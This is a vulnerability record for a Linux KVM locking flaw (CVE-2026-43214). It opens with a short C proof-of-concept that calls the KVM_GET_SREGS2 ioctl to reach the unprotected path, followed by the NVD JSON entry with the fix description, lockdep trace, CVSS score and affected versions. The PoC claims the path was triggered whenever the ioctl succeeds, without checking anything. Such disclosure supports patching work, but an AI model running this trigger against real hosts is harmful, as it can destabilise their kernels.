CVE-2026-43214

#include <fcntl.h> #include <linux/kvm.h> #include <sys/ioctl.h> #include <stdio.h> #include <unistd.h> // PoC to demonstrate triggering the vulnerable path in KVM // This requires a system with KVM enabled and appropriate permissions int main() { int kvm_fd, vm_fd, vcpu_fd; struct kvm_sregs2 sregs; // Open the KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // Create a virtual machine vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); close(kvm_fd); return 1; } // Create a virtual CPU vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) { perror("KVM_CREATE_VCPU"); close(vm_fd); close(kvm_fd); return 1; } // Trigger the vulnerable function __get_sregs2() // This ioctl reads PDPTRs without proper SRCU protection if (ioctl(vcpu_fd, KVM_GET_SREGS2, &sregs) < 0) { perror("KVM_GET_SREGS2"); } else { printf("KVM_GET_SREGS2 succeeded. Vulnerability path triggered.\n"); } close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

{"cve": {"id": "CVE-2026-43214", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:40.920", "lastModified": "2026-05-11T19:44:24.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Add SRCU protection for reading PDPTRs in __get_sregs2()\n\nAdd SRCU read-side protection when reading PDPTR registers in\n__get_sregs2().\n\nReading PDPTRs may trigger access to guest memory:\nkvm_pdptr_read() -> svm_cache_reg() -> load_pdptrs() ->\nkvm_vcpu_read_guest_page() -> kvm_vcpu_gfn_to_memslot()\n\nkvm_vcpu_gfn_to_memslot() dereferences memslots via __kvm_memslots(),\nwhich uses srcu_dereference_check() and requires either kvm->srcu or\nkvm->slots_lock to be held. Currently only vcpu->mutex is held,\ntriggering lockdep warning:\n\n=============================\nWARNING: suspicious RCU usage in kvm_vcpu_gfn_to_memslot\n6.12.59+ #3 Not tainted\n\ninclude/linux/kvm_host.h:1062 suspicious rcu_dereference_check() usage!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n1 lock held by syz.5.1717/15100:\n #0: ff1100002f4b00b0 (&vcpu->mutex){+.+.}-{3:3}, at: kvm_vcpu_ioctl+0x1d5/0x1590\n\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xf0/0x120 lib/dump_stack.c:120\n lockdep_rcu_suspicious+0x1e3/0x270 kernel/locking/lockdep.c:6824\n __kvm_memslots include/linux/kvm_host.h:1062 [inline]\n __kvm_memslots include/linux/kvm_host.h:1059 [inline]\n kvm_vcpu_memslots include/linux/kvm_host.h:1076 [inline]\n kvm_vcpu_gfn_to_memslot+0x518/0x5e0 virt/kvm/kvm_main.c:2617\n kvm_vcpu_read_guest_page+0x27/0x50 virt/kvm/kvm_main.c:3302\n load_pdptrs+0xff/0x4b0 arch/x86/kvm/x86.c:1065\n svm_cache_reg+0x1c9/0x230 arch/x86/kvm/svm/svm.c:1688\n kvm_pdptr_read arch/x86/kvm/kvm_cache_regs.h:141 [inline]\n __get_sregs2 arch/x86/kvm/x86.c:11784 [inline]\n kvm_arch_vcpu_ioctl+0x3e20/0x4aa0 arch/x86/kvm/x86.c:6279\n kvm_vcpu_ioctl+0x856/0x1590 virt/kvm/kvm_main.c:4663\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:907 [inline]\n __se_sys_ioctl fs/ioctl.c:893 [inline]\n __x64_sys_ioctl+0x18b/0x210 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xbd/0x1d0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14", "versionEndExcluding": "6.1.165", "matchCriteriaId": "2EECFDDC-11D6-4155-8F3B-061E8A2F6700"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/57536ff0a6bd69a5808d682925202babdb5ddc13", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/708e20c66b2761d878a2bc3c7534e7f814e4dec5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/95d848dc7e639988dbb385a8cba9b484607cf98c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9f2bfea51151dfbb24b52f452eb3d5f5fe0e506e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b33f8d816950b10e7879cd8ffd7ae4b649ada4db", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", ... 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